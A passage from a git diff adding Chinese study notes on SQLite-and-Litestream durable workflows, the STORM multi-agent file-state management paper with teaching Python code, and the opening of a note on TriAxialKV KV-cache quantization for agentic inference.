NULL, + status TEXT NOT NULL DEFAULT 'running', + created_at TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS step_log ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + workflow_id TEXT NOT NULL, + step_name TEXT NOT NULL, + attempt INTEGER NOT NULL DEFAULT 1, + status TEXT NOT NULL, + payload TEXT, + result TEXT, + recorded_at TEXT NOT NULL, + FOREIGN KEY (workflow_id) REFERENCES workflows(id) +); + +CREATE INDEX IF NOT EXISTS idx_step_log_wf + ON step_log(workflow_id, id); +""" + +@contextmanager +def connect(): + conn = sqlite3.connect(DB_PATH) + conn.row_factory = sqlite3.Row + try: + conn.executescript(SCHEMA) + yield conn + conn.commit() + finally: + conn.close() + +def utcnow(): + return datetime.now(timezone.utc).isoformat() + +def start_workflow(conn, name: str) -> str: + wf_id = str(uuid.uuid4()) + conn.execute( + "INSERT INTO workflows (id, name, created_at) VALUES (?, ?, ?)", + (wf_id, name, utcnow()), + ) + return wf_id + +def append_step(conn, wf_id, step_name, attempt, status, payload=None, result=None): + conn.execute( + """INSERT INTO step_log + (workflow_id, step_name, attempt, status, payload, result, recorded_at) + VALUES (?, ?, ?, ?, ?, ?, ?)""", + (wf_id, step_name, attempt, status, + json.dumps(payload), json.dumps(result), utcnow()), + ) + +def last_completed_step(conn, wf_id: str) -> str | None: + row = conn.execute( + """SELECT step_name FROM step_log + WHERE workflow_id = ? AND status = 'completed' + ORDER BY id DESC LIMIT 1""", + (wf_id,), + ).fetchone() + return row["step_name"] if row else None + +def run_activity(fn, payload, max_attempts=3): + """模拟可重试的 activity:失败则抛异常,由上层记录并重试。""" + last_err = None + for attempt in range(1, max_attempts + 1): + try: + return fn(payload), attempt + except Exception as e: + last_err = e + raise last_err + +# --- 模拟业务步骤 --- +def fetch_flights(_): + return {"options": ["CA123", "MU456"]} + +def book_flight(data): + if data["choice"] == "INVALID": + raise ValueError("no seats") + return {"pnr": "ABC123", "flight": data["choice"]} + +STEPS = [ + ("fetch_flights", fetch_flights), + ("book_flight", book_flight), +] + +def execute_workflow(wf_id: str, initial_input: dict): + with connect() as conn: + resume_after = last_completed_step(conn, wf_id) + skipping = resume_after is not None + data = initial_input + + for step_name, fn in STEPS: + if skipping: + if step_name == resume_after: + skipping = False + continue # replay:已完成步骤不再执行 + + result, attempt = run_activity(fn, data) + append_step(conn, wf_id, step_name, attempt, "completed", + payload=data, result=result) + data = result + + conn.execute( + "UPDATE workflows SET status = 'completed' WHERE id = ?", + (wf_id,), + ) + +if __name__ == "__main__": + with connect() as conn: + wf = start_workflow(conn, "travel-booking") + # 第一次运行可能在 book 失败;修复 input 后再次 execute_workflow(wf, ...) + execute_workflow(wf, {"choice": "CA123"}) + print(f"workflow {wf} done — inspect with: sqlite3 {DB_PATH}") +``` + +**要点**: + +1. 每步 `completed` 写入 `step_log`,进程崩溃后靠 `last_completed_step` **断点续跑**。 +2. `WAL + synchronous=FULL` 保证 commit 后断电不丢日志。 +3. 整个 durable 层**零外部依赖**,只有一个 `.db` 文件。 + +--- + +## 代码示例 2:Litestream 备份与恢复(运维配置) + +逻辑代码之外,**便携性**靠 Litestream 配置。典型 `litestream.yml`: + +```yaml +# litestream.yml — 将本地 workflow.db 持续复制到 S3 兼容存储 +dbs: + - path: /data/workflow.db + replicas: + - type: s3 + bucket: my-agent-workflows + path: backups/${HOSTNAME}/workflow.db + region: ap-east-1 + sync-interval: 1s + # 可选:保留快照便于按时间点恢复 + retention: 168h +``` + +启动 sidecar(与 Worker 同 Pod / 同 VM): + +```bash +# 1. 初始化本地库(Worker 启动前) +sqlite3 /data/workflow.db "PRAGMA journal_mode=WAL; PRAGMA synchronous=FULL;" + +# 2. 启动 Litestream 复制 +litestream replicate -config litestream.yml + +# 3. Worker 正常运行,读写 /data/workflow.db +python worker.py + +# --- 灾难恢复:本地盘没了,从 S3 还原 --- +litestream restore -o /data/workflow.db s3://my-agent-workflows/backups/host-7/workflow.db +python worker.py # 从 step_log 继续 replay +``` + +**运维检查清单**: + +```bash +# 查看 Litestream 复制滞后(lag 过大 = RPO 风险上升) +litestream databases + +# 人工拉一份用于调试「Agent 昨晚做了什么」 +litestream restore -o /tmp/debug.db s3://my-agent-workflows/backups/host-7/workflow.db +sqlite3 /tmp/debug.db "SELECT step_name, status, recorded_at FROM step_log ORDER BY id;" +``` + +--- + +## 与 Temporal / DBOS 的对比(心智模型) + +| 维度 | Temporal 类 orchestrator | DBOS (Postgres) | SQLite + Litestream (本文) | +|------|--------------------------|-----------------|------------------------------| +| 状态存储 | 专用 history store | 已有 Postgres | 本地 `.db` 文件 | +| 基础设施 | 重(多组件) | 中(需 DB 服务) | 轻(嵌入式 + S3) | +| 多 Worker 共享写 | 原生支持 | 原生支持 | 需「一库一 Worker」或只读副本 | +| 调试体验 | UI + CLI | SQL 查 Postgres | 直接打开文件 | +| 典型起点 | 成熟微服务、长流程 | 已有 Postgres 的企业 | AI Agent、实验、边缘 | + +文章立场不是「Temporal 错了」,而是:**很多系统 day one 不需要 Temporal 的复杂度**;在 DBOS 谱系上,SQLite 是更轻的默认项。 + +--- + +## 适用场景与反模式 + +### 适合 + +- 单 Agent / 单租户 run 的状态隔离 +- 研发 staging、可接受秒级 RPO 的实验流水线 +- CI/CD 步骤编排(单 runner 写本地库) +- 边缘 / IoT:本地 durable,有网时 Litestream 同步 +- 需要**频繁复制状态给人类调试**的场景 + +### 不适合(应直接 Postgres / 专用引擎) + +- 数十 Worker **同时更新同一 workflow 实例** +- 金融级 **RPO = 0**、跨 region 同步读 +- 超大全局调度器(所有状态一张表、极高 QPS 写) +- 已有成熟 Temporal 投资且团队熟悉其语义 + +--- + +## 设计原则(文章提炼 + 实践补充) + +1. **Durable ≠ distributed**:单节点上 durable 的 workflow state 已经是真正的持久化;分布式是下一层需求。 +2. **先匹配状态的复杂度**:没有 HA 需求就不要先上 HA 架构。 +3. **显式 RPO/RTO**:Litestream async 备份前签字认可「可能丢最后一秒」。 +4. **保持 log 可 inspect**:选 SQLite partly 因为文件即 artifact。 +5. **计算 disposable,状态 precious**:Worker 随时可杀;杀之前确保 step commit。 +6. **升级路径清晰**:SQLite → Postgres(Obelisk 双模式)→ 必要时 Temporal,按阈值演进。 + +--- + +## 常见误区 + +| 误区 | 澄清 | +|------|------| +| 「SQLite 只能做原型」 | WAL + 正确 pragma 下,单机 durable workflow 可长期生产;Cloudflare 已有大规模实例 | +| 「没有 K8s + Postgres 就不 durable」 | Durable 指状态 survive 进程崩溃,不是指你必须有 3 节点 DB | +| 「Litestream = 实时 HA」 | 它是**备份**,不是同步双活;磁盘瞬间全毁可能丢未复制 WAL | +| 「一个 SQLite 服务全公司 Agent」 | 多写者会痛;应 **一 run 一文件** 或 sharding | +| 「永远不需要 Postgres」 | 当共享写、HA、同步复制成为硬需求时必须升级 | + +--- + +## 延伸阅读 + +- [Obelisk 原文](https://obeli.sk/blog/sqlite-is-all-you-need-for-durable-workflows/) +- DBOS:Postgres is all you need for durable execution(本文的 upstream 论点) +- [Litestream 文档](https://litestream.io/) — SQLite → S3 连续复制 +- Cloudflare Workflows V2 — SQLite-backed per-instance state at scale +- Obelisk 项目 — SQLite 默认、Postgres 可选的工作流引擎实现 + +--- + +## 一句话总结 + +**持久化工作流真正要保存的是「执行日志」这份档案,不是编排器大楼;对大量 AI Agent 与实验型系统,本地 SQLite(WAL + 全同步)+ Litestream 备份到 S3 + 可丢弃的 Worker,就是 day one 足够 durable、足够便宜、足够可调试的默认方案——等共享写与高可用成为硬需求,再升级到 Postgres 或专用 orchestrator,而不是反过来。** diff --git a/src/content/docs/papers/storm-multi-agent-state.md b/src/content/docs/papers/storm-multi-agent-state.md new file mode 100644 index 000000000..1e7c26981 --- /dev/null +++ b/src/content/docs/papers/storm-multi-agent-state.md @@ -0,0 +1,425 @@ +--- +title: STORM — 面向多智能体协作的状态导向管理 +来源: 'Mengyang Liu et al., "Multi-agent Collaboration with State Management", arXiv:2605.20563, 2026; 代码 https://github.com/dreamyang-liu/STORM' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:多人改同一份文档,该隔离还是实时对齐? + +想象一家创业公司只有**一份**产品需求文档(PRD),四个工程师同时开工: + +- **方案 A:各抄一份(Git Worktree 隔离)** + 每人拿 PRD 的副本在自己文件夹里改,互不打扰。两周后合并:A 把接口改成 REST,B 按 GraphQL 写完了客户端,C 的测试假设还是旧签名——**两边单独都能编译,合在一起却语义冲突**。合并冲突工具只能抓「同一行被改了两次」,抓不到「设计假设已经分叉」。 + +- **方案 B:共享在线文档 + 提交前校验(STORM 思路)** + 大家编辑**同一份**仓库。每次要保存某段内容时,系统先问:「你写这段时依赖的章节,有人刚改过吗?」若 PRD 第三章已被同事更新,你的保存会被**拒绝**,并推送最新第三章让你**基于新基线重写**——冲突在**写入瞬间**暴露,而不是合并派对上才发现。 + +- **方案 C:在代码里留「便签」(Intent Annotation)** + 工程师 A 改完共享模块,不仅在代码里改函数,还在旁边留结构化注释:`# {engineer_1: validate numeric inputs before summing}`。工程师 B 打开同一文件时,看到的不仅是 diff,还有**为什么这么改**——在必须碰同一文件的边界上,减少「各写各的、互不知情」。 + +STORM(**ST**ate-**OR**iented **M**anagement)论文(Liu et al., arXiv:2605.20563)的核心主张是:**多 Agent 并行写代码时,问题本质是状态管理**——每个 Agent 的「局部世界观」是否仍与共享工作区一致。用写入时校验 + 意图注释,比「一人一个 worktree、最后再 merge」更可靠、也更省事后补救成本。 + +--- + +## 是什么 + +**STORM** 是一个**架构无关**的多智能体状态管理框架,介于 LLM Agent 与共享文件工作区之间,**中介(mediate)所有文件读写**: + +1. Agent 读取文件时,记录 `(文件路径, 当时版本号)` 进入**读快照** \(S_i\)。 +2. Agent 发起写入前,STORM 检查:\(S_i\) 里每个文件的版本是否仍等于工作区当前版本。 +3. 若一致 → **原子接受**写入,目标文件版本 +1。 +4. 若不一致 → **拒绝写入**,把已变更文件的最新内容返回给 Agent,让其**从新基线重试**。 +5. 可选:**Intent Annotation**——Agent 在修改处留下 `# {agent_id: 意图描述}` 注释,供后续读同一文件的 Agent 理解上下文。 + +论文在 **Commit0-Lite**(仓库级代码实现)和 **PaperBench Code-Dev**(论文复现代码)上评估,对比: + +| 基线 | 思路 | +|------|------| +| **Single-Agent** | 一个 Agent 包办,无协调开销 | +| **GitWorktree** | 每 Agent 独立 worktree,完成后 merge | +| **STORM** | 共享工作区 + 写入时局部状态一致性 | + +典型结果(Claude Sonnet 4.6,4 个 Engineer Agent): + +- Commit0-Lite:**82.5%** macro pass(GitWorktree 63.8%,Single 66.4%) +- PaperBench:**74.1** 分(GitWorktree 72.7,Single 68.7) +- 与 Single-Agent 组合(STORM-Combined)可达 **87.6 / 78.2** 最高分 + +代码开源:https://github.com/dreamyang-liu/STORM(基于 OpenHands SDK)。 + +--- + +## 为什么重要 + +### 1. 多 Agent 写代码的瓶颈不是「会不会写」,而是「会不会撞车」 + +并行 Agent 能分解大任务(不同模块、不同实验脚本),但共享代码库存在**跨文件依赖**:A 改接口、B 读旧接口写调用方、C 写测试——三者局部都「合理」,集成后 pytest 一片红。STORM 把「隐藏集成错误」变成**写入时的即时反馈**。 + +### 2. Worktree 隔离把冲突推迟到 merge,恢复代价高 + +Git merge 擅长文本冲突,不擅长**语义冲突**(两边各自通过编译,合并后行为错误)。Agent 在隔离分支里已经消耗大量 token 完成错误假设下的实现,merge 失败意味着**整段推理作废**。STORM 在 Agent **还没提交错误设计之前**就打断 stale write。 + +### 3. 不需要全局快照,只需「局部一致」 + +Agent 并不需要冻结整个仓库——它只需要**自己读过的文件**在推理期间未被他人修改。这比分布式事务的全局锁轻得多,非重叠文件上的工作仍可**完全并行**。 + +### 4. 可插拔 + +STORM 是文件 I/O 层的中介,不绑定特定编排拓扑(Manager–Engineer、对等 Agent 等均可)。论文强调可 **seamlessly plug into any multi-agent system**。 + +--- + +## 核心概念 + +### 1. 工作区与版本化文件 + +工作区 \(\mathcal{W} = \{(f, v_f) \mid f \in \mathcal{F}\}\),每个文件 \(f\) 有单调递增版本号 \(v_f \in \mathbb{N}\)。每次成功写入使 \(v_f \leftarrow v_f + 1\)。 + +### 2. 任务分解与主文件集 + +Manager Agent 把任务 \(T\) 分解为子任务并分配给 Engineer: + +\[ +M: T \longrightarrow \{(\tau_i, F_i, a_i)\}_{i=1}^{k}, \quad F_i \cap F_j = \emptyset \ (i \neq j) +\] + +\(F_i\) 是 Agent \(a_i\) 的**主文件集**(尽量不重叠),但实际访问集 \(A_i\) 常超出 \(F_i\)(读共享 util、import 等)。冲突只发生在 \(A_i \cap A_j \neq \emptyset\) 的**边界文件**上。 + +### 3. 读快照 \(S_i\) + +Agent 每读一个文件 \(g\),记录观测版本: + +\[ +S_i = \{(g, v_g^{\text{obs}}) \mid a_i \text{ 已读取 } g\} +\] + +LLM 生成写入内容 \(c'\) 时,**只依赖** \(S_i\) 中的上下文,而非整个 \(\mathcal{W}\)——这是 STORM 利用的不对称性。 + +### 4. 写入有效性(Local State Consistency) + +写入 \((a_i, f, c')\) **有效**当且仅当: + +\[ +\forall (g, v_g^{\text{obs}}) \in S_i:\; v_g^{\text{obs}} = v_g^{\text{cur}} +\] + +即:Agent 读过的**每一个**文件,自读取以来都未被其他 Agent 修改。满足则原子应用;否则为**冲突写入**,拒绝并刷新 \(S_i\)。 + +冲突分两类: + +- **直接冲突**:目标文件 \(f\) 本身版本已变(两人改同一文件)。 +- **间接冲突**:依赖的上下文文件(如被 import 的模块)已变,但 Agent 仍基于旧内容推理。 + +### 5. Intent Annotation(意图注释) + +在 Agent 修改的代码块**正上方**插入结构化注释,例如: + +```python +# {engineer_1: validate numeric inputs before summing} +def add(a, b): + if not isinstance(a, (int, float)): + raise TypeError("a must be numeric") + return a + b +``` + +后续 Agent 读该文件时,除代码外还看到**设计意图**,在共享边界上协调而无需额外消息通道。消融实验(Commit0-Lite, Sonnet 4.6):有 annotation 时 weighted pass **46.2%**,无 annotation **26.6%**——意图传递对协作质量影响显著。 + +### 6. Manager–Engineer 编排(论文实现) + +- **Manager**:分解任务、分配 `(engineer_id, file_path, functions_to_implement, instruction)`、轮次结束后审查、统一 commit。 +- **Engineer**:在共享工作区实现指定函数;**不自行 git commit**;写入经 STORM 网关。 +- 失败 commit → 同一任务重新分配;最终由 Manager 做集成审查(import 对齐、命名一致、无 hang 代码)。 + +--- + +## 与 Git Worktree 的对比 + +```text +GitWorktree 模式: + Agent₁ → worktree₁ ──┐ + Agent₂ → worktree₂ ──┼──→ merge(事后冲突检测) + Agent₃ → worktree₃ ──┘ + +STORM 模式: + Agent₁ ──┐ + Agent₂ ──┼──→ 共享工作区 ←── STORM 写入网关(写入时版本校验) + Agent₃ ──┘ + ↓ 冲突 → 拒绝 + 返回最新文件 → Agent 重试 +``` + +| 维度 | Git Worktree | STORM | +|------|--------------|-------| +| 冲突发现时机 | Merge 阶段 | **Write 阶段** | +| Agent 是否看到他人进展 | 否(直到 merge) | **是**(读到的始终是最新已接受版本) | +| 语义冲突 | 难自动处理 | 通过 stale-write 拒绝 + 重读缓解 | +| 并行度 | 高(完全隔离) | 高(仅边界文件串行化) | +| 跨文件强依赖仓库 | Merge 后才发现 | **imapclient、marshmallow、babel** 等大幅提升 | + +论文也指出:当任务边界与文件边界**完美对齐**时(如 PaperBench 的 sample-specific-masks),GitWorktree 可能不输——隔离本身无惩罚。STORM 优势集中在**跨文件依赖重**的仓库。 + +--- + +## 代码示例 1:最小 STORM 写入网关(教学用 Python) + +下面是一个**不含 LLM** 的简化版,演示「读快照 + 写入时版本校验」核心逻辑: + +```python +from dataclasses import dataclass, field +from typing import Dict, Set, Tuple + +FileVersion = int +Content = str + + +@dataclass +class Workspace: + """共享工作区:文件内容 + 单调版本号。""" + files: Dict[str, Content] = field(default_factory=dict) + versions: Dict[str, FileVersion] = field(default_factory=dict) + + def read(self, path: str) -> Tuple[Content, FileVersion]: + v = self.versions.get(path, 0) + return self.files.get(path, ""), v + + def _bump(self, path: str, content: Content) -> None: + self.files[path] = content + self.versions[path] = self.versions.get(path, 0) + 1 + + +@dataclass +class AgentState: + """Agent 的读快照 S_i。""" + agent_id: str + snapshot: Dict[str, FileVersion] = field(default_factory=dict) + + def observe(self, path: str, version: FileVersion) -> None: + # 每次 read 都更新/记录观测版本 + self.snapshot[path] = version + + +class StormGate: + """中介所有写入:局部状态一致性检查。""" + + def __init__(self, workspace: Workspace): + self.ws = workspace + + def try_write( + self, agent: AgentState, path: str, new_content: Content + ) -> Tuple[bool, str]: + # 写入前也确保目标文件在 snapshot 中(通常 Agent 会先 read) + if path not in agent.snapshot: + return False, f"[{agent.agent_id}] must read {path} before write" + + # 式 (3):所有已读文件版本仍等于当前版本? + for g, v_obs in agent.snapshot.items(): + v_cur = self.ws.versions.get(g, 0) + if v_obs != v_cur: + stale, _ = self.ws.read(g) + return False, ( + f"[{agent.agent_id}] stale context: {g} " + f"observed v{v_obs}, current v{v_cur}. " + f"Refresh and retry.\n--- latest {g} ---\n{stale}" + ) + + # 原子应用写入 + self.ws._bump(path, new_content) + new_v = self.ws.versions[path] + agent.snapshot[path] = new_v # 更新自身对目标文件的观测 + return True, f"[{agent.agent_id}] write accepted → {path} v{new_v}" + + +# --- 演示:Agent B 基于 stale 快照写入会被拒绝 --- +ws = Workspace() +ws._bump("utils.py", "def add(a, b):\n return a + b\n") + +gate = StormGate(ws) +agent_a = AgentState("engineer_1") +agent_b = AgentState("engineer_2") + +# 两人最初读到相同版本 +content, v = ws.read("utils.py") +agent_a.observe("utils.py", v) +agent_b.observe("utils.py", v) + +# A 先成功写入(加了类型检查) +new_a = ( + "# {engineer_1: validate numeric inputs}\n" + "def add(a, b):\n" + " if not isinstance(a, (int, float)):\n" + " raise TypeError('a must be numeric')\n" + " return a + b\n" +) +ok, msg = gate.try_write(agent_a, "utils.py", new_a) +print(msg) # write accepted + +# B 仍持有旧 snapshot,尝试基于旧 utils 写 client.py 并引用旧 add +ok, msg = gate.try_write(agent_b, "utils.py", "def add(a, b): return a - b\n") +print(msg) # stale context → 拒绝,B 必须 re-read utils.py 再决策 +``` + +运行这段代码,你会看到 **Agent B 的第二次写入因 `utils.py` 版本不一致而被拒绝**——这正是 STORM 把 merge 冲突前移到 write 时刻的机制。 + +--- + +## 代码示例 2:Intent Annotation 的生成与保留规则 + +论文要求 Engineer 在**刚修改的代码块上方**插入意图注释,且读到他人注释时**默认保留**(除非任务明确要求改动)。下面是一个简化的「写入后自动插入 annotation + 合并读」辅助函数: + +```python +import re +from textwrap import dedent + +INTENT_PATTERN = re.compile( + r"^#\s*\{([^:}]+):\s*(.+?)\}\s*$", re.MULTILINE +) + + +def attach_intent( + agent_id: str, + intent: str, + original: str, + patched_block: str, +) -> str: + """在 patched_block 前插入 intent annotation。""" + header = f"# {{{agent_id}: {intent}}}\n" + # 若原文件该位置已有 annotation,由 Agent 提示词要求 preserve + return original.replace(patched_block, header + patched_block, 1) + + +def merge_read_view(file_content: str) -> str: + """ + 供后续 Agent 使用的「代码 + 意图」视图。 + 解析所有 intent 注释,便于 prompt 注入。 + """ + intents = INTENT_PATTERN.findall(file_content) + summary = "\n".join( + f" - [{aid}] {desc}" for aid, desc in intents + ) or " (no intent annotations)" + return dedent(f""" + ## File with intent annotations + ```python + {file_content} + ``` + ## Parsed intents + {summary} + """) + + +# 示例:engineer_2 读到 engineer_1 的意图后再改 test +utils_src = attach_intent( + agent_id="engineer_1", + intent="validate numeric inputs before summing", + original="def add(a, b):\n return a + b\n", + patched_block="def add(a, b):\n return a + b\n", +) +utils_src = utils_src.replace( + "def add(a, b):\n return a + b\n", + dedent("""\ + def add(a, b): + if not isinstance(a, (int, float)): + raise TypeError("a must be numeric") + return a + b + """), +) + +print(merge_read_view(utils_src)) +# engineer_2 的 prompt 可包含 Parsed intents,避免写出与类型检查冲突的测试 +``` + +Intent annotation **不是** STORM 一致性的数学条件,而是工程上降低「同一文件边界」语义摩擦的**软协调层**——论文 Table 9 显示去掉后 pass rate 明显下降。 + +--- + +## 实验要点(零基础速览) + +### Commit0-Lite + +- 16 个 Python 仓库,Agent 需实现测试要求的 API。 +- STORM 在**跨文件依赖重**的仓库涨幅最大,例如 Sonnet 上: + - **marshmallow**:0.0%(single)→ 82.3%(STORM) + - **imapclient**:9.7% → 89.1% + - **jinja**:0.0% → 47.1% +- 小且自洽的仓库(如 **chardet**)single-agent 仍可能更好——分解 + 协调开销不值得。 + +### PaperBench Code-Dev + +- 20 篇 ML 论文的代码复现子任务。 +- STORM 在需要**大量代码组织**的论文上领先(what-will-my-model-forget: 99.8 vs 82.9 single)。 +- GitWorktree 在子任务与文件边界完美对齐时仍有 wins。 + +### 多模型 + +Sonnet 4.6、Qwen 3.6 Plus、DeepSeek V4 Pro 上 STORM 相对 GitWorktree 均有提升;**Qwen + babel** 从 0.2%(GitWorktree)→ 74.2%(STORM)尤为 dramatic。 + +--- + +## 局限与边界(论文 Appendix E) + +STORM **不能保证**任务语义正确或最终测试通过——它只保证:**被接受的写入基于当前文件版本的一致快照**。 + +| 局限 | 说明 | +|------|------| +| **Terminal bypass** | 只中介 `file_editor` 类工具;`sed`、`echo >` 等 bash 直写无法 preventive 拒绝,仅能事后 diff 检测 | +| **无命令协调** | 两 Agent 并行跑 formatter 等 shell 副作用未串行化 | +| **文件级粒度** | 同文件不同函数也会触发 false-positive 拒绝;`__init__.py` 等热点文件成瓶颈 | +| **失败模式仍在** | scope drift、accepted same-file overlap、budget 耗尽等占失败运行大多数 | + +失败分析表明:大量失败测试是 **assertion / missing API / type error**——写入已被接受为版本一致,但**任务切分或语义组合**仍错。STORM 解决的是**状态视图 staleness**,不是「Agent 永远写对」。 + +--- + +## 与相关工作的关系(简表) + +| 方向 | 代表 | 与 STORM 的区别 | +|------|------|-----------------| +| 多 Agent 编码 | MetaGPT, ChatDev | 多强调角色分工,少显式文件版本一致性 | +| Worktree 并行 | 近期 SWE-agent 类系统 | 隔离 → 事后 merge | +| 乐观并发控制 | 数据库 OCC | STORM 将 OCC 思想搬到 **Agent 文件写入** | +| CRDT / OT | 协同编辑 | STORM 选择 **reject + retry** 而非自动 merge 语义 | + +注意:Stanford 的 **STORM 维基百科写作系统**(检索 + 多视角问答)是**完全不同**的项目,勿混淆。本文笔记对应 arXiv:2605.20563 的 **State-Oriented Management**。 + +--- + +## 何时值得用 STORM 思想? + +**适合:** + +- 多个 Coding Agent **共享同一仓库**并行改不同模块 +- 仓库**跨文件依赖密集**(import 链、共享 schema) +- 希望**尽早**暴露集成问题,避免 merge 后大规模返工 +- 已有 OpenHands / 类似 Agent SDK,可在工具层加写入网关 + +**可能不必:** + +- 任务天然按文件完美拆分、几乎无共享文件 +- 单 Agent 预算足够且仓库小而自洽 +- Agent 频繁通过 shell 绕过文件工具(STORM 覆盖不全) + +--- + +## 动手清单(读完可以做什么) + +1. **读论文**:[arXiv:2605.20563](https://arxiv.org/abs/2605.20563) Section 2(形式化)+ Figure 1(架构图)。 +2. **Clone 代码**:`git clone --recursive https://github.com/dreamyang-liu/STORM.git`,按 README 跑 Commit0 / PaperBench 脚本。 +3. **自实现 Mini Gate**:用「代码示例 1」包一层你现有 Agent 的 `write_file` 工具。 +4. **加 Intent 规范**:在 Engineer system prompt 里固定 `# {id: ...}` 格式,观察并行改同一 module 时的冲突率。 +5. **对比实验**:同一 repo 分别跑 single / worktree / STORM,记录 pytest pass 与 token 成本。 + +--- + +## 一句话总结 + +**STORM 把多 Agent 协作从「各自隔离、最后赌 merge」改成「共享工作区、写入时校验局部快照是否过期」**——冲突立刻变成可重试的反馈,再配合代码里的 intent 注释,在共享文件边界上传递「为什么这样改」。它不是银弹,但在跨文件依赖重的代码任务上,论文给出了比 Git Worktree 更稳的并行基础层。 + +--- + +## 参考 + +- Liu, M., Chen, T., Xu, Z., Jiang, X., & Dong, Y. (2026). *Multi-agent Collaboration with State Management*. arXiv:2605.20563. https://arxiv.org/abs/2605.20563 +- 代码:https://github.com/dreamyang-liu/STORM +- Commit0:https://commit-0.github.io/ +- PaperBench:Starace et al., arXiv:2504.01848 diff --git a/src/content/docs/papers/triaxialkv.md b/src/content/docs/papers/triaxialkv.md new file mode 100644 index 000000000..3ab50c3d2 --- /dev/null +++ b/src/content/docs/papers/triaxialkv.md @@ -0,0 +1,422 @@ +--- +title: TriAxialKV — Agent 推理场景下的极低精度 KV Cache 混合量化 +来源: 'Shen et al., "TriAxialKV: Toward Extreme Low-Precision KV-Cache Quantization for Agentic Inference Tasks", arXiv:2605.17170, 2026' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:给 Agent 的「工作日志」分档存档 + +想象你是一个电脑操作 Agent 的秘书,要把一整天的交互记录塞进一个固定大小的文件柜(**GPU 显存**)。日志里什么都有: + +- 早上读过的 **系统说明书**(tool schema、安全规则)——错一个字,下午调 API 就会传错参数名; +- 用户三小时前说的话(**旧轮次**)——多数时候只是背景,偶尔才需要翻; +- 刚截的 **屏幕截图**(图像 token)——和纯文字在统计特性上完全不同; +- 模型自己的 **推理草稿**、**工具调用 JSON**、**环境返回的 observation**——各有各的「容错率」。 + +若你对所有页面一律用同一套压缩(比如全部压成 2-bit),就像把说明书和草稿都缩印到看不清——**最该保真的部分最先坏**。若只按「时间远近」或「是不是图片」单维度分档,又会出现:「旧轮次的系统提示」和「旧轮次的闲聊」被同等对待,浪费宝贵的高精度档位。 + +**TriAxialKV** 的做法是:给每个 token 贴一个 **三维标签**(时间远近 × 模态 × 语义角色),离线测出「哪类标签对 attention 输出最敏感」,再在固定平均比特预算下,给敏感段 **INT4**、不敏感段 **INT2**。论文在 Qwen3-VL-32B 跑 OSWorld 电脑操作任务时,在 **精度与 BF16 持平** 的前提下,KV cache 可扩到约 **4.5×**,端到端吞吐提升约 **30%**(H100 上最高约 **1.52×**)。 + +--- + +## 是什么 + +**TriAxialKV** 是剑桥大学与帝国理工团队提出的 **面向 Agent 工作负载的混合精度 KV cache 量化框架**,已集成进 **SGLang** 推理栈,包含: + +| 模块 | 作用 | +|------|------| +| **Triaxial Tagger** | 仅凭 chat template 结构,单次扫描为每个 prefill token 打上三维标签 | +| **离线校准** | 在真实 prefill 轨迹上测量「只量化某一类 tag」时的 attention 输出 MSE | +| **比特分配器** | 在目标平均位宽 \(B \in [2,4]\) 约束下,为每个 tag 选 INT2 或 INT4 | +| **双精度内存池** | 分页管理的 INT2 / INT4 池,共享虚拟地址空间 | +| **融合 Triton decode kernel** | Flash-decoding 路径上 **边解压边算 attention**,避免全量反量化 | + +与「全 cache 统一 2-bit」(KIVI)或「全 cache FP4」不同,TriAxialKV 的核心论点是:**Agent prefill 的异质性是三维的,必须联合建模**,否则会把比特花在错误的地方。 + +--- + +## 为什么 Agent 场景特别难 + +普通聊天:上下文相对同质,KV 量化误差较均匀。 + +**Agent 工作负载**(函数调用、电脑操作、多轮工具循环)则具备: + +1. **超长 prefill**:OSWorld 轨迹平均 prefill 约 **11,000 token**,decode 约 **300 token**;LLaMA-3-70B 在 OSWorld 上 KV 可达 **~100K token**,FP16 单 batch 就占 **~30 GB**。 +2. **结构化多段**:system / user / assistant / reasoning / tool_call / observation 交替出现。 +3. **多模态**:截图等 image token 与 text token 分布差异大。 +4. **时间结构**:当前轮 vs 前两轮 vs 更早历史,attention 权重衰减模式不同。 + +论文 profiling 发现:不同 token 对 KV 量化的敏感度可差 **一个数量级以上**,且主要由上述三维结构解释。单轴方法(PM-KVQ 看时间、VL-Cache 看模态、ThinKV 看语义)各自有效,但 **联合分配** 才能在极低平均位宽下保住任务精度。 + +--- + +## 核心概念 + +### 1. 三维标签空间 \(\mathcal{S}\) + +每个 token 的标签是三个轴的笛卡尔积: + +```text +S = A_temporal × A_modal × A_semantic +``` + +**时间轴** \(A_{\mathrm{temporal}}\): + +| 值 | 含义 | +|----|------| +| `current` | 最近一轮(从当前 user 消息到序列末尾) | +| `turn_m1` | 上一轮 | +| `turn_m2` | 上上一轮 | +| `older` | 更早的一切 | + +**模态轴** \(A_{\mathrm{modal}}\):`text` | `image` + +**语义轴** \(A_{\mathrm{semantic}}\): + +| Tag | 典型内容 | +|-----|----------| +| `inst` | 系统提示、tool schema | +| `user` | 用户自然语言 | +| `assistant` | 普通助手回复(非推理/工具括号内) | +| `reasoning` | `` 等括号内思维链 | +| `tool_call` | 工具调用 JSON | +| `obs` | 工具输出、截图描述等环境反馈 | +| `delim` | chat template 分隔符、角色标记 | + +实践中合法组合约 **≤22 种**(如 `image|reasoning` 不会出现),tag 空间足够小,可枚举 \(2^{|\mathcal{S}|}\) 种分配方案。 + +### 2. 优化目标:attention 输出 MSE,而非 KV 重建误差 + +设全精度 attention 输出为 \(o_i\),按分配 \(\mathbf{b}\) 量化后的输出为 \(\tilde{o}_i(\mathbf{b})\)。目标: + +\[ +\mathcal{L}(\mathbf{b}) = \mathbb{E}_i \| o_i - \tilde{o}_i(\mathbf{b}) \|_2^2 +\] + +一阶近似后可分解为 **按 tag 的可加失真**: + +\[ +\hat{\mathcal{L}}(\mathbf{b}) = \sum_{k \in \mathcal{S}} D_k(b_k) +\] + +其中 \(D_k(b)\) 表示:**只把 tag \(k\) 的 token 量化到 \(b\) bit,其余保持全精度** 时的输出 MSE。这比直接最小化 KV 量化误差更合理——softmax 会放大少数高权重 token 的误差,而冷门 token 量化再烂也可能几乎不影响输出。 + +### 3. 约束下的 INT2/INT4 分配 + +每个 tag \(k\) 有 token 数 \(N_k\),位宽 \(b_k \in \{2,4\}\)。在目标平均位宽 \(B\) 下: + +\[ +\min_{\mathbf{b}} \sum_k D_k(b_k) \quad \text{s.t.} \quad 